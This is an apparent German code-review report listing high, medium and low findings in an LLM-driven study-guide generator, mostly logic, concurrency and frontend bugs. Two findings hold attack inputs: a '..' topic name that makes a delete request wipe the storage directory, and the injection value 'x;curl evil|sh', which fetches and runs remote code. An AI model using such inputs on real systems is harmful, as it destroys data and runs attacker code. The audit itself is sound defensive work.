# Review-Befunde 2026-07-12 Gründliche Prüfung durch 5 parallele Reviews (E0/E1, E2/E3, E4+QA-Loop, Infra, Frontend). Alle Hoch-Funde am Code nachverifiziert. Zeilennummern = Stand Arbeitskopie. ## Hoch 1. **pipeline.py:104 / main.py:93 — Pfad-Traversal beim Topic-Namen.** `topic_anlegen` prüft nur „nicht leer“. Name `..` → `DELETE /api/topics/..` läuft in `shutil.rmtree(KORPUS_DIR / topic)` → löscht `storage/` komplett inkl. SQLite-DB. Namen mit `/` schreiben Snapshots außerhalb von `storage/korpus/`. 2. **main.py:180 + Makefile:43 — Shell-Injektion über Transfer.** `make server-push TOPIC=` interpoliert den Namen unquotiert in Shell-Rezepte (rsync/ssh-Zeilen). Topic `x;curl evil|sh` → Kommando-Ausführung. 3. **inventar.py:44 — Resume verliert Quell-Abschnitte still.** Pause/Budget-Stopp mitten in der Extraktion: einige Reader haben schon Atome verankert. Beim Resume greift der Idempotenz-Guard (`schon and not force`) und setzt die Quelle auf `atome` — die restlichen Abschnitte werden nie gelesen. QA merkt es nur, wenn ein ganzer Soll-Punkt leer bleibt. 4. **artefakte.py:49 — `nur_ohne`-Filter blockiert Flashcard-Nachgenerierung.** Filter = „hat irgendein lebendes Artefakt“. Atom mit lebendem Beispiel, aber ohne Flashcard wird nie nachgeneriert → Invariante „≥1 verifizierte Flashcard“ unerfüllbar, `atom_ohne_flashcard` bleibt offen, Loop dreht 10 wirkungslose Iterationen. 5. **guide.py:295 — Mathe-Checks laufen über Marker-Zeilen.** `_mathe_auftraege(lang, …)` bekommt den ungestrippten Text (nur `_stil_auftraege` strippt Marker). Atom-Titel wie `a_n` oder `A*-Suche` im Marker erzeugen Aufträge, die der Fix nie beheben darf (Marker sind unantastbar) → unfixierbarer `det_check` in jeder QA-Runde, Note bleibt <10, Loop brennt bis Limit. 6. **qa.py:68 — Befund-Dedup verliert Details.** `_persistieren` dedupliziert über `(art, item)` ohne `detail`. Mehrere `det_check`- Befunde derselben Section kollabieren: alte (schon behobene) Details bleiben „offen“, neue Details werden nie eingefügt → der Fix bekommt veraltete Aufträge, Konvergenz scheitert. 7. **agents.py:257 — CLI-Prozess-Leak bei Cancellation.** `_spawn` killt nur bei `TimeoutError`. Der Hedge (llm.py:71) cancelt den Verlierer-Task: `CancelledError` trifft `communicate()`, kein Kill, und das `finally` entfernt den Prozess aus `_prozesse` → Zombie-Prozess rechnet weiter, Tokens ohne Ledger-Zeile, für Stop/Pause unerreichbar. 8. **guide.py:380 — gescheiterte Fixes passieren das Gate.** Nach Fix-Fehlschlag bleiben die Aufträge in `sections.befunde`, aber niemand außer `_stage_fix` liest diese Spalte — entgegen dem Kommentar „die Ebenen-QA muss sie sehen“. Kritische Coverage-Lücken (z. B. „Atom-Inhalt fehlt“) können mit Note 10,0 fertig gemeldet werden. 9. **Guide.vue:54/124 — Level-Toggle-Sackgasse.** `levels` zählt Kapitel-Level unabhängig vom Section-Inhalt; `anzeige` filtert leere Sections weg; bei `anzeige.length === 0` verschwindet die Nav samt Toggle. Mitten in E4 (M-Kapitel ohne Text): Toggle E→M → „Noch kein Guide generiert“, kein Weg zurück außer Reload. ## Mittel ### Budget / Ledger / Nebenläufigkeit - **llm.py:63** — Hedge-Zwilling: nur die Tokens des Gewinners landen in `events`/Budget. Verlierer-Tokens (bis 32k) unsichtbar. Verletzt „jeder Call → Ledger-Zeile“. - **llm.py:65** — Timeout des Haupt-Calls bricht die Hedge-Schleife ab und cancelt den fast fertigen Zwilling → Call zählt als infra, obwohl der Hedge geliefert hätte. - **llm.py:120** — Budget wird nur nach Call-Ende geprüft, nie vor Start: parallele Wellen überschreiten das „harte“ Limit um in-flight × Call-Tokens. - **llm.py:155 `panel`, struktur.py:77, guide.py:426/434/579, artefakte.py:144** — bare `asyncio.gather` statt `llm.alle`: bei LaufPause/Budget laufen Geschwister-Tasks weiter, schreiben Zustand und ziehen Tokens (genau der in llm.py dokumentierte Hazard). - **agents.py:161** — API-Pfad prüft nach `_api_slot()` keinen Abbruch: pausierte Läufe feuern wartende API-Calls trotzdem ab. - **agents.py:311** — opencode-Timeout: Tokens wurden erzeugt, aber mit 0 geloggt. ### Panels / destruktive Entscheide (fail-open statt fail-closed) - **inventar.py:474/499** — `_soll_stichentscheid`/`_luecke_schliessen`: eine einzelne überlebende Panel-Stimme gilt als „einstimmig“ → Atom verworfen / Soll freigesprochen auf Basis EINES Richters (chunk_urteil macht es richtig). - **inventar.py:456** — `_anker_fixen_batch` verwirft Atome auch dann, wenn der zuständige Batch-Call ausfiel (None ≠ negatives Urteil). - **artefakte.py:130** — Re-Verify nach Fix: unparsbare Antwort / ausgelassene id → Artefakt endgültig verworfen (Panel-Ausfall behält, Fix-Ausfall vernichtet). ### Korpus / Soll - **korpus.py:270 + 406** — `_konsens` löscht bestätigte Zeilen und baut aus Kandidaten neu: nachgesuchte Belege und der `geprueft`-Negativ-Cache gehen verloren → bezahlte Beleg-Judges wiederholen sich. - **korpus.py:368/388** — Judge sieht nur `text[:40k]`, Nicht-Fund wird aber für die GANZE Quelle als `geprueft` verbucht → Belege jenseits 40k dauerhaft unauffindbar, Punkt wird ggf. fälschlich degradiert. - **korpus.py:161** — Soll-Extraktion hat nur Quellen-Granularität: Pause zwischen Chunks → Resume extrahiert alles neu → doppelte Kandidaten blähen das √n-Band auf. - **korpus.py:333/416** — uni-Topics ohne bestätigten Soll-Punkt: kein Repair-Pfad für `soll_leer`, Pipeline setzt trotzdem `korpus_fertig` → E1 verwirft Atome kaskadenartig. ### Struktur - **struktur.py:251** — Split schneidet `ceil`-Chunks: 43 Atome → Teile 8,8,8,8,8,3; letzter Teil kann Band 4–8 verletzen, Repair reproduziert identisch → Befund ewig offen. - **struktur.py:479** — `band`-Partnerprüfung misst gegen POST-Split-Bausteine, der Merge lief aber PRE-Split → QA fordert eine Latte, die der Schnitt nicht erreichen kann. ### Guide / QA-Loop - **guide.py:553** — `qa_hash` wird vor der Fachlich-falsch-Prüfung persistiert: scheitert der Verdachts-Call, gilt die Section dauerhaft als geprüft (fail-open). - **guide.py:544** — `offene_falsch` ist run-gescoped, `qa_hash` nicht: nach Pause/Resume verschwinden bestätigte Fakten-Fehler aus der QA. - **guide.py:596** — KRITISCH-Routing wirft das Befund-Detail weg: der bestätigte Claim erreicht weder Prüfer noch Fix → Ping-Pong bis Limit. - **guide.py:607 + auto_loop.py:24** — `bewegt = bool(betroffen)`: Guide-Ebene meldet immer „bewegt“ → Stillstands-Erkennung unerreichbar, Loop läuft immer bis 10. - **guide.py:265/329** — Vorwärtsverweis: Auftrag erlaubt „erklären“, Detektor prüft nur Titel-Präsenz → instruktionskonformer Fix schließt den Befund nie. - **guide.py:190** — Englisch-Heuristik: deutsche Homographen („an“, „will“, „not“), Schwelle 15 % ab 12 Tokens → deutsche Sätze werden als „englische Passage“ geflaggt, Auftrag unerfüllbar. ### Frontend - **api.js:13** — Topic-Namen ohne `encodeURIComponent` in URL-Pfaden: `#`/`/` im Namen → Topic per UI unbenutzbar und unlöschbar. - **Guide.vue:19** — `laden()` ohne Out-of-order-Schutz: langsame Antwort von Topic A überschreibt die Anzeige von Topic B. - **Guide.vue:77** — Level-/Ansicht-Wechsel resettet Scrollposition nicht: Viewport landet in Platzhalter-Divs, Seite wirkt leer. - **api.js:51** — WS-Cleanup entfernt `onclose` nicht: Zombie-Reconnect nach 2 s, doppelte State-Loads (v. a. bei Vite-HMR). - **Ueben.vue:19** — Doppelklick auf „Richtig“: Karte doppelt gePOSTet (Leitner-Box springt 2 Stufen), Folgekarte fällt still aus dem Stapel. ## Niedrig (Auswahl) - **pipeline.py:63 u. a.** — `runs.beendet='jetzt'` (Literal-String statt Timestamp). - **ledger.py:58** — Kennzahlen zählen `status='timeout'`, llm schreibt aber `infra` → Spalte konstant 0. - **config.py:13** — `CREATOR_DB` wird vor `_load_env()` gelesen: .env-Wert wirkungslos. - **jsonx.py:14** — nur der ERSTE Code-Fence wird geparst; JSON nach einem Prosa-Fence geht verloren. - **transfer.py:122** — `sections.befunde` (Fix-Aufträge mit Atom-IDs) wird beim Import nicht remapped. - **ws.py:31** — jeder Push spawnt eigenen Send-Task: Out-of-order-Deltas, parallele `send_text`. - **inventar.py:493** — Lücken-„Runden“ zählen Ledger-Events: Retries + Alt-Läufe zählen mit → Abbruch zu früh. - **inventar.py:147** — Anker-Dedup: geerbte Anker im selben Pass nicht berücksichtigt → transitive Dublette überlebt. - **inventar.py:352** — `quelle_unvollstaendig`-Repair meldet immer True → Stillstand nie erkannt. - **guide.py:53** — `_MARKER_VOLL` bricht bei `>` im Atom-Titel. - **guide.py:449** — `_pruefe_dich` matcht Frage per Substring: Umformulierung durch Fix → Antwort fehlt still. - **guide.py:461** — Bausteine ohne Kapitel: NULL-Gruppen erben Level des ersten Bausteins, doppelte `null`-Keys in Vue. - **struktur.py:77 / artefakte.py:144** — s. gather-Sammelpunkt oben. - **markdown.js:57** — `lesestat` ignoriert `\[…\]`-Formeln → Lesezeit falsch. - **style.css:225** — KaTeX-Overflow-Regeln fehlen für die Kompakt-Ansicht (mobil). - **Kennzahlen.vue:8** — Topic-Wechsel ohne Lauf: alte Daten bleiben stehen. - **App.vue:93 / Board.vue:99** — `stoppen()`/Menü-Aktionen ohne try/catch: Fehler unsichtbar.